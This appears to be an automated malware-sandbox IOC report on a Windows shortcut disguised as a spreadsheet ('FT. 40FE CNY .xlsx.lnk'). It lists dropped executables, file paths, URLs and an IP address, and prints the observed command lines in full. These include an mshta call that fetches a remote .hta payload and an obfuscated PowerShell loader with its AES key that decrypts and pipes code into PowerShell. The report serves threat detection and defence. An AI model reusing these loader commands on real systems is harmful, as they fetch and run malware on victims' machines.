IOC Report
FT. 40FE CNY .xlsx.lnk

FT. 40FE CNY .xlsx.lnk

MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, Icon number=1, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hidenormalshowminimized

initial sample

C:\Users\Public\Libraries\Ucvuiswb

data

dropped

C:\Users\Public\Libraries\Ucvuiswb.PIF

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

C:\Users\Public\Libraries\bwsiuvcU.pif

PE32 executable (GUI) Intel 80386, for MS Windows

modified

C:\Users\Public\Libraries\easinvoker.exe

PE32+ executable (GUI) x86-64, for MS Windows

dropped

C:\Users\Public\Libraries\netutils.dll

PE32+ executable (DLL) (console) x86-64, for MS Windows

dropped

C:\Users\Public\Ucvuiswb.url

MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Ucvuiswb.PIF">), ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Roaming\uc.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta

C:\Windows\System32\mshta.exe

"C:\Windows\system32\mshta.exe" https://www.sessosesso.it/assets/aw/yt.hta

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UGIWRBAh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UGIWRBAh.BlockSize = 128;$UGIWRBAh.KeySize = 256;$UGIWRBAh.Key = [System.Convert]::FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.TransformFinalBlock($VpSlE, 16, $VpSlE.Length - 16);$UGIWRBAh.Dispose();$DaRjcu = New-Object System.IO.MemoryStream( , $eVtPpVFwq );$wDjFzJY = New-Object System.IO.MemoryStream;$MtMSBjEhy = New-Object System.IO.Compression.GzipStream $DaRjcu, ([IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW | powershell -

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -

C:\Users\user\AppData\Roaming\uc.exe

"C:\Users\user\AppData\Roaming\uc.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\UcvuiswbO.bat" "

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\user\AppData\Roaming\uc.exe C:\\Users\\Public\\Libraries\\Ucvuiswb.PIF

C:\Users\Public\Libraries\bwsiuvcU.pif

C:\Users\Public\Libraries\bwsiuvcU.pif

C:\Users\Public\Libraries\Ucvuiswb.PIF

"C:\Users\Public\Libraries\Ucvuiswb.PIF"

C:\Users\Public\Libraries\bwsiuvcU.pif

C:\Users\Public\Libraries\bwsiuvcU.pif

https://www.sessosesso.it/assets/aw/yt.htaAC:

unknown

https://www.sessosesso.it/

unknown

https://www.sessosesso.it

unknown

http://pesterbdd.com/images/Pester.png

unknown

https://www.sessosesso.it/assets/aw/yt.hta

89.46.106.29